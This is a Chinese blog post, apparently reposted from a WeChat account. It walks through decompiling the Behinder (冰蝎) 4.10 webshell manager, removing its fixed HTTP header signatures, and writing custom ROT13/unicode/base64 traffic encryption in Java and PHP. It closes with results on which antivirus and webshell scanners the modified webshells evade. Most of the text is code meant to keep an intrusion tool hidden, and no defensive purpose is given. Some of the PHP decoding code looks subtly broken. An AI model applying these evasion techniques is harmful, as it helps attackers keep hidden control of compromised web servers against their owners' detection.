1:环境搭建
冰蝎4.10+ide
利用在线反编译网站反编译冰蝎4.10
https://www.decompiler.com/
之后下载源码,新建一个目录把源码和冰蝎4.10放在同一目录
打开ide,点击项目配置
这里添加冰蝎的jar包
之后我们在src目录下创建net/rebeyond/behinder/ui 目录,并把冰蝎源码里面的main.java拷过去
之后运行
可以看到冰蝎界面并没有启动起来,这里我们缺少了db数据配置文件,将我们的数据库配置文件拷到src同一目录
到这里我们就成功把环境配置好了
2:特征修改
1:accpet字段
冰蝎Accept有个固定的值:Accept: application/json, text/javascript, /; q=0.01
这里我们全局搜索
发现在ShellService.java可以找到
这里直接去掉getCurrentAccept() 改成你想设定的值,也可以在constans.java里面修改
2:User-agent 字段
这个User-agent还是在ShellService.java里面
通过查询这个函数我们可以在constants.java里面找到user-agent
这里还要注意一个点,从之前的shellservice.java里有这样一段代码
private void initHeardersCommon(String type, Map<String, String> headers) {
headers.put("Accept", this.getCurrentAccept());
headers.put("Accept-Language", "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
headers.put("User-Agent", this.getCurrentUserAgent());
if (headers.get("User-Agent").toLowerCase().indexOf("firefox") >= 0) {
// empty if block
}
headers.put("Referer", this.getReferer());
}
这里取的是你设置的user-agent头中包含firefox字符串的那个,因此我们可以把这段代码删掉
3:Content-type字段
冰蝎中有个固定的Content-type字段:Content-type: application/x-www-form-urlencoded
同样这个特征可以在
这一行修改
这里只有php和aspx的我们可以添加jsp和asp
完整的代码如下:
private void initHeardersByType(String type, Map<String, String> headers) {
if (type.equals("php")) {
headers.put("Content-type", "text/html; charset=utf-8");
} else if (type.equals("aspx")) {
headers.put("Content-Type", "application/octet-stream");
} else if (type.equals("jsp")) {
headers.put("Content-type", "text/html; charset=utf-8");
}else if (type.equals("asp")){
headers.put("Content-type", "text/html; charset=utf-8");
}
this.initHeardersCommon(type, headers);
}
修改完后同样的我们要把文件放在src目录下,确保文件和之前所在目录一致
实验:
这里抓包链接发现特征已经修改成功
3:自定义传输协议
冰蝎4开放了传输协议的自定义功能,使得流量魔改更为简单方便,这里以jsp脚本类型为例,提供一些冰蝎4流量魔改的方式
这里可以参考下文章https://xz.aliyun.com/t/12453#toc-0
通过该文章我们可以利用gpt来写出更加复杂的加密
这里我们以上面文章的提到的key-value格式+unicode加密
这里我们利用gpt可以让他给我们生成一下rot13加密
private byte[] Encrypt(byte[] data) throws Exception {
String content = "id=1&content=DaYer0&token=1452178369&status=00000";
String result =
java.util.Base64.getEncoder().encodeToString(data).replace("+", "<").replace("/",
">");
String str = "";
StringBuffer unicode = new StringBuffer();
for (int i = 0; i < result.length(); i++) {
char c = result.charAt(i);
unicode.append("\u00" + Integer.toHexString(c));
}
content = content.replace("DaYer0", unicode.toString());
// ROT13 encryption
StringBuilder encryptedContent = new StringBuilder();
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + 13) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + 13) % 26 + 'A');
}
encryptedContent.append(c);
}
return encryptedContent.toString().getBytes();
}
同时可以让gpt给出解密函数
private byte[] Decrypt(byte[] data) throws Exception {
String content = new String(data);
// Reverse ROT13 decryption
StringBuilder decryptedContent = new StringBuilder();
for (int i = 0; i < content.length(); i++) {
char c = content.charAt(i);
if (c >= 'a' && c <= 'z') {
c = (char) (((c - 'a') + 13) % 26 + 'a');
} else if (c >= 'A' && c <= 'Z') {
c = (char) (((c - 'A') + 13) % 26 + 'A');
}
decryptedContent.append(c);
}
String decodedString = decryptedContent.toString();
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
bos.write(decodedString.getBytes(), 13, decodedString.length() - 43);
String unicode = new String(bos.toByteArray());
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("\u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6),
16));
}
}
byte[] decryptedData =
java.util.Base64.getDecoder().decode(sb.toString().replace("<", "+").replace(">",
"/"));
return decryptedData;
}
这里可以使用冰蝎的传输协议测试
出现这个就代表解密加密不一致
当保存成功时就代表加密解密一致,这里我们生成服务端测试下效果
对于其他的php asp aspx webshell我们同样可以借助gpt来帮忙生成,这里只需要用php来写一个类似的加密和解密
function encrypt($data) {
$content = "id=1&content=DaYer0&token=1452178369&status=00000";
// ROT13 encryption
$encryptedContent = str_rot13($content);
$result = base64_encode($data);
$result = str_replace("+", "<", str_replace("/", ">", $result));
$unicode = '';
for ($i = 0; $i < strlen($result); $i++) {
$unicode .= "\u00" . bin2hex($result[$i]);
}
$encryptedContent = str_replace("DaYer0", $unicode, $encryptedContent);
return $encryptedContent;
}
function decrypt($data) {
// ROT13 decryption
$decryptedContent = '';
for ($i = 0; $i < strlen($data); $i++) {
$c = $data[$i];
if ($c >= 'a' && $c <= 'z') {
$c = chr(((ord($c) - ord('a')) + 13) % 26 + ord('a'));
} else if ($c >= 'A' && $c <= 'Z') {
$c = chr(((ord($c) - ord('A')) + 13) % 26 + ord('A'));
}
$decryptedContent .= $c;
}
// Extract Unicode sequences
$unicode = '';
$pos = strpos($decryptedContent, "\u");
while ($pos !== false) {
$unicode .= substr($decryptedContent, $pos + 2, 4);
$pos = strpos($decryptedContent, "\u", $pos + 1);
}
// Convert Unicode sequences to characters
$decodedString = '';
$unicodeChars = explode("\u", $unicode);
foreach ($unicodeChars as $unicodeChar) {
if (!empty($unicodeChar)) {
$decodedString .= html_entity_decode('&#x' . $unicodeChar . ';',
ENT_COMPAT, 'UTF-8');
}
}
// Replace '<' and '>' with '+' and '/'
$decodedString = str_replace("<", "+", str_replace(">", "/", $decodedString));
// Base64 decoding
$decryptedData = base64_decode($decodedString);
return $decryptedData;
}
aspx和asp同样如此
这里同时还可以测试一下生成的webshell免杀效果
360核晶情况:
360核晶下全免
D盾情况:
D盾查杀了php的eval函数
长亭webshell检测情况:
微步情况:
微步虽然说查杀出了恶意,但是微步查杀的特征显示出为蚁剑。。。
原文始发于微信公众号(老鑫安全):冰蝎4:一键修改特征,轻松打造专属传输协议!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论